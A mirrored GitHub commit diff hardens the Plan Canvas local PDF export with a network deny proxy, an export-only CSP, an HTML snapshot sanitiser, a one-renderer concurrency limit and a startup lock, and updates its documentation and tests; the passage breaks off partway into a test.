mirror of
https://github.com/affaan-m/ECC.git
synced 2026-09-10 11:47:54 +02:00
fix(plan-canvas): harden PDF export concurrency
This commit is contained in:
@@ -82,7 +82,7 @@ after 30 min, `ECC_PLAN_CANVAS_IDLE_MS`). Feedback is deliver-and-drain: queued
|
||||
handed to exactly one `await` call and persisted to disk until then, so nothing is lost if
|
||||
the poll is interrupted.
|
||||
|
||||
- `GET /health` — `{ok, app, version, protocolVersion, runtimeId}`; the CLI reuses a detached server only when its package, protocol, and Canvas-module fingerprint match, preventing an older same-version worktree from serving stale browser code
|
||||
- `GET /health` — `{ok, app, version, protocolVersion, runtimeId}`; the CLI reuses a detached server only when its package, protocol, and Canvas-module fingerprint match, preventing an older same-version worktree from serving stale browser code. A per-user, port-scoped startup lock serializes compatibility checks and replacement so concurrent opens reuse the winning server instead of racing two detached launches.
|
||||
- `GET /` — session list (ECC chrome)
|
||||
- `POST /api/sessions` `{file, reopen?}` — open/resume; `409 user-ended` unless `reopen`
|
||||
- `GET /canvas/<key>` — editor chrome; `GET /artifact/<key>/` — rendered artifact
|
||||
@@ -127,7 +127,11 @@ unavailable, and can be repointed at a local mirror via
|
||||
|
||||
PDF export also stays local. The server launches an installed Chrome, Chromium, or Edge
|
||||
executable with a new temporary profile, restricts the print target to the loopback Canvas
|
||||
origin, waits for a complete `%PDF` document, terminates that private renderer, and removes
|
||||
its temporary profile. Set `ECC_PLAN_CANVAS_CHROME_PATH` when auto-discovery cannot find the
|
||||
browser. The export endpoint returns an actionable error instead of uploading the plan or
|
||||
silently falling back to a remote service.
|
||||
origin, applies an export-only CSP that disables scripts and outbound resource classes, and
|
||||
routes every non-origin browser request into a local deny proxy. It waits for a complete
|
||||
`%PDF` document, terminates that private renderer, closes the deny proxy, and removes its
|
||||
temporary profile. One renderer is admitted at a time; overlapping requests receive HTTP 429
|
||||
with `Retry-After: 1` instead of launching unbounded browser processes. Set
|
||||
`ECC_PLAN_CANVAS_CHROME_PATH` when auto-discovery cannot find the browser. The export endpoint
|
||||
returns an actionable error instead of uploading the plan or silently falling back to a
|
||||
remote service.
|
||||
|
||||
@@ -14,17 +14,20 @@ artifact as a real PDF file without sending the plan to an external converter.
|
||||
| Only a loopback artifact URL can reach the renderer | `assertLoopbackUrl` tests | PASS |
|
||||
| Filenames are useful and safe across platforms | `pdfFileName` tests | PASS |
|
||||
| Incomplete output is never served as a PDF | `%PDF` header and `%%EOF` completion tests | PASS |
|
||||
| Validation uses the opened file handle | File-descriptor regression test and CodeQL rerun | PASS |
|
||||
| Renderer state is private and temporary | Fake-process lifecycle test and live process/temp-state inspection | PASS |
|
||||
| Artifact HTML cannot make outbound export requests | PDF-only CSP and loopback-origin deny-proxy regression tests | PASS |
|
||||
| Browser renderer concurrency is bounded | Concurrent endpoint test expects HTTP 429 and `Retry-After` | PASS |
|
||||
| Export adds no cloud converter or npm runtime dependency | Implementation and package diff inspection | PASS |
|
||||
|
||||
## Red and green
|
||||
|
||||
- RED: the focused server suite produced 30 passes and 2 failures because the
|
||||
Canvas had no Download PDF control or PDF endpoint.
|
||||
- GREEN: renderer unit tests pass 6/6, Plan Canvas server tests pass 32/32,
|
||||
and the end-to-end review workflow passes 10/10.
|
||||
- FULL SUITE: `npm test` passes all 4,003 discovered tests; full ESLint,
|
||||
Markdown lint, package dry-run, and `git diff --check` also pass.
|
||||
- GREEN: renderer unit tests pass 7/7, Plan Canvas server tests pass 34/34,
|
||||
and the end-to-end review workflow passes 11/11.
|
||||
- FULL SUITE: the final review-hardened implementation passes all 4,007
|
||||
discovered tests; hosted security reruns are recorded on PR #2894.
|
||||
- COVERAGE: `npm run coverage` passes 4,003/4,003 with 88.97% statements,
|
||||
80.58% branches, 94.22% functions, and 88.97% lines. The Plan Canvas
|
||||
module group reaches 96.72% statements and lines, 84.47% branches, and
|
||||
@@ -42,9 +45,12 @@ artifact as a real PDF file without sending the plan to an external converter.
|
||||
|
||||
The loopback server discovers Google Chrome, Chromium, or Microsoft Edge, or
|
||||
uses `ECC_PLAN_CANVAS_CHROME_PATH`. It launches the executable without a shell,
|
||||
with a private temporary profile and a loopback-only artifact URL. Completion
|
||||
requires both a `%PDF-` header and `%%EOF` marker. The renderer is terminated and
|
||||
temporary state is removed before the response is handed to the browser.
|
||||
with a private temporary profile, a loopback-only artifact URL, an export-only
|
||||
CSP, and a local deny proxy that allows only the exact Canvas origin. Completion
|
||||
requires both a `%PDF-` header and `%%EOF` marker read from the already-open file
|
||||
handle. The renderer is terminated and temporary state is removed before the
|
||||
response is handed to the browser. Concurrent export attempts fail quickly with
|
||||
a retryable HTTP 429 response while one renderer is active.
|
||||
|
||||
If no renderer exists, the browser receives an actionable local error. Plan
|
||||
Canvas does not upload the artifact or add a hosted conversion dependency.
|
||||
|
||||
@@ -11,6 +11,7 @@
|
||||
|
||||
const { spawn } = require('child_process');
|
||||
const fs = require('fs');
|
||||
const net = require('net');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
|
||||
@@ -137,6 +138,33 @@ function delay(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
function startDenyProxy(netImpl = net) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const server = netImpl.createServer(socket => {
|
||||
socket.on('error', () => {});
|
||||
socket.destroy();
|
||||
});
|
||||
const onError = error => reject(errorWithCode(
|
||||
`Could not isolate PDF renderer network access (${error.message})`,
|
||||
'PDF_EXPORT_FAILED'
|
||||
));
|
||||
server.once('error', onError);
|
||||
server.listen(0, '127.0.0.1', () => {
|
||||
server.removeListener('error', onError);
|
||||
server.on('error', () => {});
|
||||
server.unref();
|
||||
resolve({ server, url: `http://127.0.0.1:${server.address().port}` });
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function stopDenyProxy(server) {
|
||||
if (!server) return Promise.resolve();
|
||||
return new Promise(resolve => {
|
||||
try { server.close(resolve); } catch { resolve(); }
|
||||
});
|
||||
}
|
||||
|
||||
async function stopChild(child) {
|
||||
if (!child || child.exitCode !== null || child.signalCode) return;
|
||||
const closed = new Promise(resolve => child.once('close', resolve));
|
||||
@@ -195,9 +223,11 @@ async function exportPdf({
|
||||
timeoutMs = DEFAULT_EXPORT_TIMEOUT_MS,
|
||||
spawnImpl = spawn,
|
||||
fsImpl = fs,
|
||||
osImpl = os
|
||||
osImpl = os,
|
||||
netImpl = net
|
||||
} = {}) {
|
||||
const safeUrl = assertLoopbackUrl(url);
|
||||
const exportUrl = new URL(safeUrl);
|
||||
const browser = executable || resolveChromiumExecutable({ env, platform, fsImpl });
|
||||
if (!browser) {
|
||||
const override = String(env.ECC_PLAN_CANVAS_CHROME_PATH || '').trim();
|
||||
@@ -214,14 +244,18 @@ async function exportPdf({
|
||||
const profileDir = path.join(tempDir, 'profile');
|
||||
fsImpl.mkdirSync(profileDir, { recursive: true });
|
||||
let child = null;
|
||||
let denyProxy = null;
|
||||
try {
|
||||
denyProxy = await startDenyProxy(netImpl);
|
||||
const args = [
|
||||
'--headless=new',
|
||||
'--disable-background-networking',
|
||||
'--disable-gpu',
|
||||
'--disable-component-update',
|
||||
'--disable-default-apps',
|
||||
'--disable-extensions',
|
||||
'--disable-sync',
|
||||
'--disable-quic',
|
||||
'--metrics-recording-only',
|
||||
'--mute-audio',
|
||||
'--no-first-run',
|
||||
@@ -229,6 +263,9 @@ async function exportPdf({
|
||||
'--no-pdf-header-footer',
|
||||
'--print-to-pdf-no-header',
|
||||
'--hide-scrollbars',
|
||||
`--proxy-server=${denyProxy.url}`,
|
||||
`--proxy-bypass-list=<-loopback>;${exportUrl.origin}`,
|
||||
`--host-resolver-rules=MAP * ~NOTFOUND, EXCLUDE ${exportUrl.hostname}`,
|
||||
`--user-data-dir=${profileDir}`,
|
||||
`--print-to-pdf=${outputFile}`,
|
||||
'--virtual-time-budget=5000',
|
||||
@@ -247,6 +284,7 @@ async function exportPdf({
|
||||
return { buffer, filename: pdfFileName(artifactFile) };
|
||||
} finally {
|
||||
await stopChild(child);
|
||||
await stopDenyProxy(denyProxy && denyProxy.server);
|
||||
fsImpl.rmSync(tempDir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -205,6 +205,19 @@ function artifactSdkJs() {
|
||||
});
|
||||
|
||||
// --- chrome bridge ---------------------------------------------------------
|
||||
function exportSnapshot() {
|
||||
const clone = document.documentElement.cloneNode(true);
|
||||
clone.querySelectorAll('script,iframe,object,embed,form,base,meta[http-equiv],[data-ecc-plan-canvas]').forEach(el => el.remove());
|
||||
clone.querySelectorAll('*').forEach(el => {
|
||||
for (const attr of [...el.attributes]) {
|
||||
if (attr.name.toLowerCase().startsWith('on') || attr.name.toLowerCase() === 'srcdoc') {
|
||||
el.removeAttribute(attr.name);
|
||||
}
|
||||
}
|
||||
});
|
||||
return '<!doctype html>\\n' + clone.outerHTML;
|
||||
}
|
||||
|
||||
window.addEventListener('message', e => {
|
||||
const msg = e.data || {};
|
||||
if (msg.type === 'pc:set-mode') {
|
||||
@@ -212,6 +225,8 @@ function artifactSdkJs() {
|
||||
if (!annotate) { hl.style.display = 'none'; selhint.style.display = 'none'; closeCard(); }
|
||||
} else if (msg.type === 'pc:restore-scroll') {
|
||||
window.scrollTo(msg.x || 0, msg.y || 0);
|
||||
} else if (msg.type === 'pc:export-snapshot' && typeof msg.requestId === 'string') {
|
||||
post({ type: 'pc:export-snapshot-result', requestId: msg.requestId, html: exportSnapshot() });
|
||||
}
|
||||
});
|
||||
document.addEventListener('keydown', e => {
|
||||
|
||||
@@ -31,6 +31,7 @@ const DEFAULT_PORT = 4517;
|
||||
const DEFAULT_HOST = '127.0.0.1';
|
||||
const DEFAULT_IDLE_TIMEOUT_MS = 30 * 60 * 1000;
|
||||
const MAX_BODY_BYTES = 1024 * 1024;
|
||||
const MAX_PDF_SNAPSHOT_BYTES = 5 * 1024 * 1024;
|
||||
// How long the "agent is thinking" indicator survives without the agent
|
||||
// checking back in, before presence decays to the honest queued/waiting.
|
||||
const DEFAULT_THINKING_STALE_MS = 90 * 1000;
|
||||
@@ -38,6 +39,19 @@ const DEFAULT_THINKING_STALE_MS = 90 * 1000;
|
||||
const DEFAULT_TYPING_EXPIRY_MS = 30 * 1000;
|
||||
const PLAN_CANVAS_PROTOCOL_VERSION = 4;
|
||||
const TYPING_STATES = new Set(['thinking', 'typing', 'idle']);
|
||||
const PDF_EXPORT_CSP = [
|
||||
"default-src 'none'",
|
||||
"base-uri 'none'",
|
||||
"connect-src 'none'",
|
||||
"font-src 'self' data:",
|
||||
"form-action 'none'",
|
||||
"frame-src 'none'",
|
||||
"img-src 'self' data:",
|
||||
"media-src 'self' data:",
|
||||
"object-src 'none'",
|
||||
"script-src 'none'",
|
||||
"style-src 'self' 'unsafe-inline'"
|
||||
].join('; ');
|
||||
|
||||
// Package versions do not distinguish two worktrees on the same release.
|
||||
// Fingerprint every module loaded into the detached server so a current CLI
|
||||
@@ -96,13 +110,13 @@ function resolveIdleTimeoutMs(env = process.env) {
|
||||
return Number.isInteger(value) && value > 0 ? value : DEFAULT_IDLE_TIMEOUT_MS;
|
||||
}
|
||||
|
||||
function readJsonBody(req) {
|
||||
function readJsonBody(req, maxBytes = MAX_BODY_BYTES) {
|
||||
return new Promise((resolve, reject) => {
|
||||
let size = 0;
|
||||
const chunks = [];
|
||||
req.on('data', chunk => {
|
||||
size += chunk.length;
|
||||
if (size > MAX_BODY_BYTES) {
|
||||
if (size > maxBytes) {
|
||||
reject(new Error('body too large'));
|
||||
req.destroy();
|
||||
return;
|
||||
@@ -130,8 +144,9 @@ function sendJson(res, statusCode, payload) {
|
||||
function sendHtml(res, statusCode, html, { csp = true } = {}) {
|
||||
const headers = { 'content-type': 'text/html; charset=utf-8', 'cache-control': 'no-store' };
|
||||
if (csp) {
|
||||
headers['content-security-policy'] =
|
||||
"default-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-src 'self'";
|
||||
headers['content-security-policy'] = typeof csp === 'string'
|
||||
? csp
|
||||
: "default-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-src 'self'";
|
||||
}
|
||||
res.writeHead(statusCode, headers);
|
||||
res.end(html);
|
||||
@@ -175,6 +190,8 @@ function createPlanCanvasServer({
|
||||
const typingKeys = new Map(); // key -> ms timestamp the agent signalled composing
|
||||
let idleTimer = null;
|
||||
let closed = false;
|
||||
let pdfExportActive = false;
|
||||
let pdfSnapshot = null;
|
||||
|
||||
// --- presence ---------------------------------------------------------
|
||||
|
||||
@@ -391,10 +408,25 @@ function createPlanCanvasServer({
|
||||
}
|
||||
|
||||
const pdfMatch = pathname.match(/^\/api\/session\/([a-f0-9]{12})\/pdf$/);
|
||||
if (pdfMatch && req.method === 'GET') {
|
||||
if (pdfMatch && (req.method === 'GET' || req.method === 'POST')) {
|
||||
const session = store.get(pdfMatch[1]);
|
||||
if (!session) return sendJson(res, 404, { error: 'unknown session' });
|
||||
if (pdfExportActive) {
|
||||
res.setHeader('retry-after', '1');
|
||||
return sendJson(res, 429, {
|
||||
error: 'another PDF export is already in progress',
|
||||
code: 'PDF_EXPORT_BUSY'
|
||||
});
|
||||
}
|
||||
pdfExportActive = true;
|
||||
try {
|
||||
if (req.method === 'POST') {
|
||||
const body = await readJsonBody(req, MAX_PDF_SNAPSHOT_BYTES);
|
||||
if (typeof body.html !== 'string' || !body.html.trim()) {
|
||||
return sendJson(res, 400, { error: 'html snapshot is required' });
|
||||
}
|
||||
pdfSnapshot = { key: session.key, html: body.html };
|
||||
}
|
||||
const pdf = await pdfExporter({
|
||||
url: `http://${req.headers.host}/artifact/${session.key}/?pdf=1`,
|
||||
artifactFile: session.file
|
||||
@@ -403,6 +435,9 @@ function createPlanCanvasServer({
|
||||
} catch (error) {
|
||||
const statusCode = error.code === 'PDF_BROWSER_NOT_FOUND' ? 503 : 500;
|
||||
return sendJson(res, statusCode, { error: error.message, code: error.code || 'PDF_EXPORT_FAILED' });
|
||||
} finally {
|
||||
pdfSnapshot = null;
|
||||
pdfExportActive = false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -474,11 +509,14 @@ function createPlanCanvasServer({
|
||||
res.end();
|
||||
}
|
||||
|
||||
function serveArtifact(res, key, assetPath) {
|
||||
function serveArtifact(res, key, assetPath, { pdfExport = false } = {}) {
|
||||
const session = store.get(key);
|
||||
if (!session) return sendHtml(res, 404, '<h1>Unknown session</h1>');
|
||||
|
||||
if (!assetPath) {
|
||||
if (pdfExport && pdfSnapshot && pdfSnapshot.key === key) {
|
||||
return sendHtml(res, 200, pdfSnapshot.html, { csp: PDF_EXPORT_CSP });
|
||||
}
|
||||
let content;
|
||||
try {
|
||||
content = fs.readFileSync(session.file, 'utf8');
|
||||
@@ -491,13 +529,13 @@ function createPlanCanvasServer({
|
||||
title: path.basename(session.file),
|
||||
sdkSrc: '/sdk.js'
|
||||
});
|
||||
return sendHtml(res, 200, html, { csp: false });
|
||||
return sendHtml(res, 200, html, { csp: pdfExport ? PDF_EXPORT_CSP : false });
|
||||
}
|
||||
const sdkTag = '<script src="/sdk.js"></script>';
|
||||
const injected = content.includes('</body>')
|
||||
? content.replace('</body>', `${sdkTag}\n</body>`)
|
||||
: `${content}\n${sdkTag}`;
|
||||
return sendHtml(res, 200, injected, { csp: false });
|
||||
return sendHtml(res, 200, injected, { csp: pdfExport ? PDF_EXPORT_CSP : false });
|
||||
}
|
||||
|
||||
// Sibling assets resolve relative to the artifact's directory and must
|
||||
@@ -574,7 +612,9 @@ function createPlanCanvasServer({
|
||||
const artifactMatch = pathname.match(/^\/artifact\/([a-f0-9]{12})\/(.*)$/);
|
||||
if (req.method === 'GET' && artifactMatch) {
|
||||
const assetPath = decodeURIComponent(artifactMatch[2]);
|
||||
return serveArtifact(res, artifactMatch[1], assetPath || null);
|
||||
return serveArtifact(res, artifactMatch[1], assetPath || null, {
|
||||
pdfExport: url.searchParams.get('pdf') === '1'
|
||||
});
|
||||
}
|
||||
if (pathname.startsWith('/api/')) {
|
||||
return handleApi(req, res, url);
|
||||
|
||||
@@ -271,6 +271,7 @@ function canvasClientJs() {
|
||||
function postToFrame(msg) {
|
||||
if (frame.contentWindow) frame.contentWindow.postMessage(msg, '*');
|
||||
}
|
||||
const snapshotWaiters = new Map();
|
||||
window.addEventListener('message', e => {
|
||||
if (e.source !== frame.contentWindow) return;
|
||||
const msg = e.data || {};
|
||||
@@ -278,11 +279,32 @@ function canvasClientJs() {
|
||||
else if (msg.type === 'pc:queue-and-send' && msg.item) { addToQueue(msg.item); send(); }
|
||||
else if (msg.type === 'pc:scroll') lastScroll = { x: msg.x || 0, y: msg.y || 0 };
|
||||
else if (msg.type === 'pc:toggle-mode') setAnnotate(!annotate);
|
||||
else if (msg.type === 'pc:export-snapshot-result' && typeof msg.requestId === 'string') {
|
||||
const waiter = snapshotWaiters.get(msg.requestId);
|
||||
if (waiter) {
|
||||
snapshotWaiters.delete(msg.requestId);
|
||||
waiter(msg.html);
|
||||
}
|
||||
}
|
||||
else if (msg.type === 'pc:ready') {
|
||||
postToFrame({ type: 'pc:set-mode', annotate });
|
||||
postToFrame({ type: 'pc:restore-scroll', x: lastScroll.x, y: lastScroll.y });
|
||||
}
|
||||
});
|
||||
function requestArtifactSnapshot() {
|
||||
return new Promise(resolve => {
|
||||
const requestId = Date.now().toString(36) + Math.random().toString(36).slice(2);
|
||||
const timer = setTimeout(() => {
|
||||
snapshotWaiters.delete(requestId);
|
||||
resolve(null);
|
||||
}, 1500);
|
||||
snapshotWaiters.set(requestId, html => {
|
||||
clearTimeout(timer);
|
||||
resolve(typeof html === 'string' ? html : null);
|
||||
});
|
||||
postToFrame({ type: 'pc:export-snapshot', requestId });
|
||||
});
|
||||
}
|
||||
|
||||
// --- queue ----------------------------------------------------------
|
||||
function persistQueue() { try { sessionStorage.setItem(QKEY, JSON.stringify(queue)); } catch { /* full */ } }
|
||||
@@ -442,7 +464,13 @@ function canvasClientJs() {
|
||||
downloadPdfBtn.textContent = 'Preparing PDF\u2026';
|
||||
reportExportStatus('Rendering locally\u2026');
|
||||
try {
|
||||
const res = await fetch('/api/session/' + key + '/pdf', { cache: 'no-store' });
|
||||
const snapshot = await requestArtifactSnapshot();
|
||||
const res = await fetch('/api/session/' + key + '/pdf', {
|
||||
method: snapshot ? 'POST' : 'GET',
|
||||
headers: snapshot ? { 'content-type': 'application/json' } : undefined,
|
||||
body: snapshot ? JSON.stringify({ html: snapshot }) : undefined,
|
||||
cache: 'no-store'
|
||||
});
|
||||
if (!res.ok) {
|
||||
const detail = await res.json().catch(() => ({}));
|
||||
throw new Error(detail.error || ('HTTP ' + res.status));
|
||||
|
||||
+90
-18
@@ -19,6 +19,7 @@
|
||||
|
||||
const fs = require('fs');
|
||||
const http = require('http');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { spawn } = require('child_process');
|
||||
|
||||
@@ -171,6 +172,73 @@ function sleep(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
function serverStartLockPath(port, lockDir = os.tmpdir()) {
|
||||
const userId = typeof process.getuid === 'function' ? process.getuid() : 'user';
|
||||
return path.join(lockDir, `ecc-plan-canvas-${userId}-${validatePort(port)}.lock`);
|
||||
}
|
||||
|
||||
function processIsAlive(pid) {
|
||||
if (!Number.isInteger(pid) || pid <= 0) return false;
|
||||
try {
|
||||
process.kill(pid, 0);
|
||||
return true;
|
||||
} catch (error) {
|
||||
return error.code === 'EPERM';
|
||||
}
|
||||
}
|
||||
|
||||
function removeStaleServerStartLock(lockPath, staleAfterMs = 60 * 1000) {
|
||||
try {
|
||||
const stat = fs.statSync(lockPath);
|
||||
let owner = null;
|
||||
try { owner = JSON.parse(fs.readFileSync(lockPath, 'utf8')); } catch { /* incomplete lock owner */ }
|
||||
const oldEnough = Date.now() - stat.mtimeMs > staleAfterMs;
|
||||
if (!oldEnough && (!owner || processIsAlive(owner.pid))) return false;
|
||||
fs.rmSync(lockPath, { force: true });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async function withServerStartLock(port, task, {
|
||||
lockDir = os.tmpdir(),
|
||||
timeoutMs = 15 * 1000
|
||||
} = {}) {
|
||||
fs.mkdirSync(lockDir, { recursive: true });
|
||||
const lockPath = serverStartLockPath(port, lockDir);
|
||||
const token = `${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}`;
|
||||
const startedAt = Date.now();
|
||||
|
||||
while (true) {
|
||||
try {
|
||||
fs.writeFileSync(lockPath, JSON.stringify({ pid: process.pid, token, createdAt: new Date().toISOString() }), {
|
||||
flag: 'wx',
|
||||
mode: 0o600
|
||||
});
|
||||
break;
|
||||
} catch (error) {
|
||||
if (error.code !== 'EEXIST') throw error;
|
||||
if (removeStaleServerStartLock(lockPath)) continue;
|
||||
if (Date.now() - startedAt >= timeoutMs) {
|
||||
throw new Error(`timed out waiting for Plan Canvas startup lock on port ${port}`);
|
||||
}
|
||||
await sleep(50);
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
return await task();
|
||||
} finally {
|
||||
try {
|
||||
const owner = JSON.parse(fs.readFileSync(lockPath, 'utf8'));
|
||||
if (owner.token === token) fs.rmSync(lockPath, { force: true });
|
||||
} catch {
|
||||
// A stale-lock recovery may already have removed it.
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function serverIsCompatible(health) {
|
||||
return Boolean(
|
||||
health &&
|
||||
@@ -186,24 +254,28 @@ function serverIsCompatible(health) {
|
||||
async function ensureServer({ stateDir, port }) {
|
||||
const health = await healthCheck(port);
|
||||
if (serverIsCompatible(health)) return port;
|
||||
if (health) {
|
||||
await request(port, 'POST', '/shutdown').catch(() => {});
|
||||
for (let i = 0; i < 20 && (await healthCheck(port)); i++) await sleep(100);
|
||||
}
|
||||
fs.mkdirSync(stateDir, { recursive: true });
|
||||
const logFd = fs.openSync(path.join(stateDir, 'server.log'), 'a');
|
||||
const child = spawn(process.execPath, [__filename, 'server', '--port', String(port)], {
|
||||
detached: true,
|
||||
stdio: ['ignore', logFd, logFd],
|
||||
env: { ...process.env, ECC_PLAN_CANVAS_STATE_DIR: stateDir }
|
||||
return withServerStartLock(port, async () => {
|
||||
const lockedHealth = await healthCheck(port);
|
||||
if (serverIsCompatible(lockedHealth)) return port;
|
||||
if (lockedHealth) {
|
||||
await request(port, 'POST', '/shutdown').catch(() => {});
|
||||
for (let i = 0; i < 20 && (await healthCheck(port)); i++) await sleep(100);
|
||||
}
|
||||
fs.mkdirSync(stateDir, { recursive: true });
|
||||
const logFd = fs.openSync(path.join(stateDir, 'server.log'), 'a');
|
||||
const child = spawn(process.execPath, [__filename, 'server', '--port', String(port)], {
|
||||
detached: true,
|
||||
stdio: ['ignore', logFd, logFd],
|
||||
env: { ...process.env, ECC_PLAN_CANVAS_STATE_DIR: stateDir }
|
||||
});
|
||||
child.unref();
|
||||
fs.closeSync(logFd);
|
||||
for (let i = 0; i < 50; i++) {
|
||||
await sleep(100);
|
||||
if (serverIsCompatible(await healthCheck(port))) return port;
|
||||
}
|
||||
throw new Error(`plan-canvas server did not become compatible on port ${port}; check ${path.join(stateDir, 'server.log')}`);
|
||||
});
|
||||
child.unref();
|
||||
fs.closeSync(logFd);
|
||||
for (let i = 0; i < 50; i++) {
|
||||
await sleep(100);
|
||||
if (serverIsCompatible(await healthCheck(port))) return port;
|
||||
}
|
||||
throw new Error(`plan-canvas server did not become compatible on port ${port}; check ${path.join(stateDir, 'server.log')}`);
|
||||
}
|
||||
|
||||
function openBrowser(url) {
|
||||
@@ -434,4 +506,4 @@ if (require.main === module) {
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = { main, ensureServer, healthCheck };
|
||||
module.exports = { main, ensureServer, healthCheck, withServerStartLock };
|
||||
|
||||
@@ -25,6 +25,7 @@ const { spawn, spawnSync } = require('child_process');
|
||||
|
||||
const CLI = path.join(__dirname, '..', '..', 'scripts', 'plan-canvas.js');
|
||||
const HOOK = path.join(__dirname, '..', '..', 'scripts', 'hooks', 'plan-canvas-sessions.js');
|
||||
const { withServerStartLock } = require('../../scripts/plan-canvas');
|
||||
|
||||
const results = [];
|
||||
async function test(name, fn) {
|
||||
@@ -142,7 +143,22 @@ async function main() {
|
||||
let key = null;
|
||||
|
||||
try {
|
||||
await test('same-version legacy server is replaced before a canvas opens', async () => {
|
||||
await test('port-scoped startup lock serializes server replacement callers', async () => {
|
||||
let active = 0;
|
||||
let maximumActive = 0;
|
||||
const runLocked = label => withServerStartLock(port + 2, async () => {
|
||||
active += 1;
|
||||
maximumActive = Math.max(maximumActive, active);
|
||||
await new Promise(resolve => setTimeout(resolve, 40));
|
||||
active -= 1;
|
||||
return label;
|
||||
}, { lockDir: tmp, timeoutMs: 2000 });
|
||||
assert.deepStrictEqual(await Promise.all([runLocked('first'), runLocked('second')]), ['first', 'second']);
|
||||
assert.strictEqual(maximumActive, 1);
|
||||
assert.ok(!fs.readdirSync(tmp).some(name => name.endsWith('.lock')));
|
||||
});
|
||||
|
||||
await test('concurrent opens serialize replacement of a same-version legacy server', async () => {
|
||||
const legacyPort = port + 1;
|
||||
const legacyStateDir = path.join(tmp, 'legacy-state');
|
||||
const legacyEnv = {
|
||||
@@ -171,9 +187,14 @@ async function main() {
|
||||
});
|
||||
|
||||
try {
|
||||
const result = await cliAsync(legacyEnv, ['open', plan, '--no-open']);
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
assert.strictEqual(result.parsed.status, 'open');
|
||||
const results = await Promise.all([
|
||||
cliAsync(legacyEnv, ['open', plan, '--no-open']),
|
||||
cliAsync(legacyEnv, ['open', plan, '--no-open'])
|
||||
]);
|
||||
for (const result of results) {
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
assert.strictEqual(result.parsed.status, 'open');
|
||||
}
|
||||
assert.strictEqual(shutdownRequested, true, 'current CLI should retire the stale server');
|
||||
const health = JSON.parse((await request(legacyPort, 'GET', '/health')).body);
|
||||
assert.strictEqual(health.protocolVersion, 4);
|
||||
|
||||
@@ -15,17 +15,15 @@ const {
|
||||
resolveChromiumExecutable
|
||||
} = require('../../scripts/lib/plan-canvas/pdf');
|
||||
|
||||
const results = [];
|
||||
|
||||
async function test(name, fn) {
|
||||
try {
|
||||
await fn();
|
||||
console.log(` ✓ ${name}`);
|
||||
results.push(true);
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.log(` ✗ ${name}`);
|
||||
console.log(` ${error.stack || error.message}`);
|
||||
results.push(false);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -48,15 +46,19 @@ function fakeChild(onSpawn) {
|
||||
|
||||
async function main() {
|
||||
console.log('\n=== Testing Plan Canvas PDF export ===\n');
|
||||
let results = [];
|
||||
const record = async (name, fn) => {
|
||||
results = [...results, await test(name, fn)];
|
||||
};
|
||||
|
||||
await test('builds safe, useful PDF filenames', () => {
|
||||
await record('builds safe, useful PDF filenames', () => {
|
||||
assert.strictEqual(pdfFileName('/tmp/feature-fleet-2.2.plan.md'), 'feature-fleet-2.2.pdf');
|
||||
assert.strictEqual(pdfFileName('/tmp/release-preview.html'), 'release-preview.pdf');
|
||||
assert.strictEqual(pdfFileName('/tmp/bad:name?.md'), 'bad-name-.pdf');
|
||||
assert.strictEqual(pdfFileName(''), 'plan.pdf');
|
||||
});
|
||||
|
||||
await test('restricts the renderer to loopback artifact URLs', () => {
|
||||
await record('restricts the renderer to loopback artifact URLs', () => {
|
||||
assert.strictEqual(
|
||||
assertLoopbackUrl('http://127.0.0.1:4518/artifact/abc/?pdf=1'),
|
||||
'http://127.0.0.1:4518/artifact/abc/?pdf=1'
|
||||
@@ -65,7 +67,7 @@ async function main() {
|
||||
assert.throws(() => assertLoopbackUrl('http://example.com/artifact/abc'), { code: 'PDF_EXPORT_INVALID_URL' });
|
||||
});
|
||||
|
||||
await test('honors an explicit Chromium executable override', () => {
|
||||
await record('honors an explicit Chromium executable override', () => {
|
||||
const fsImpl = {
|
||||
accessSync(file) { assert.strictEqual(file, '/opt/test/chrome'); },
|
||||
statSync() { return { isFile: () => true }; }
|
||||
@@ -80,7 +82,7 @@ async function main() {
|
||||
);
|
||||
});
|
||||
|
||||
await test('fails actionably when no local PDF renderer is installed', async () => {
|
||||
await record('fails actionably when no local PDF renderer is installed', async () => {
|
||||
await assert.rejects(
|
||||
exportPdf({
|
||||
url: 'http://127.0.0.1:4517/artifact/abc123/?pdf=1',
|
||||
@@ -92,7 +94,7 @@ async function main() {
|
||||
);
|
||||
});
|
||||
|
||||
await test('recognizes only complete PDF output', () => {
|
||||
await record('recognizes only complete PDF output', () => {
|
||||
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'plan-canvas-pdf-complete-'));
|
||||
const file = path.join(tmp, 'artifact.pdf');
|
||||
fs.writeFileSync(file, '%PDF-1.4\npartial');
|
||||
@@ -102,7 +104,7 @@ async function main() {
|
||||
fs.rmSync(tmp, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
await test('validates PDF metadata from the opened file handle', () => {
|
||||
await record('validates PDF metadata from the opened file handle', () => {
|
||||
const content = Buffer.from('%PDF-1.4\nlocal plan\n%%EOF\n');
|
||||
const fsImpl = {
|
||||
openSync(file, flags) {
|
||||
@@ -124,7 +126,7 @@ async function main() {
|
||||
assert.strictEqual(isCompletePdf('/private/export.pdf', fsImpl), true);
|
||||
});
|
||||
|
||||
await test('renders, terminates its private browser, and removes temporary state', async () => {
|
||||
await record('renders, isolates network access, terminates its browser, and removes temporary state', async () => {
|
||||
const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'plan-canvas-pdf-test-'));
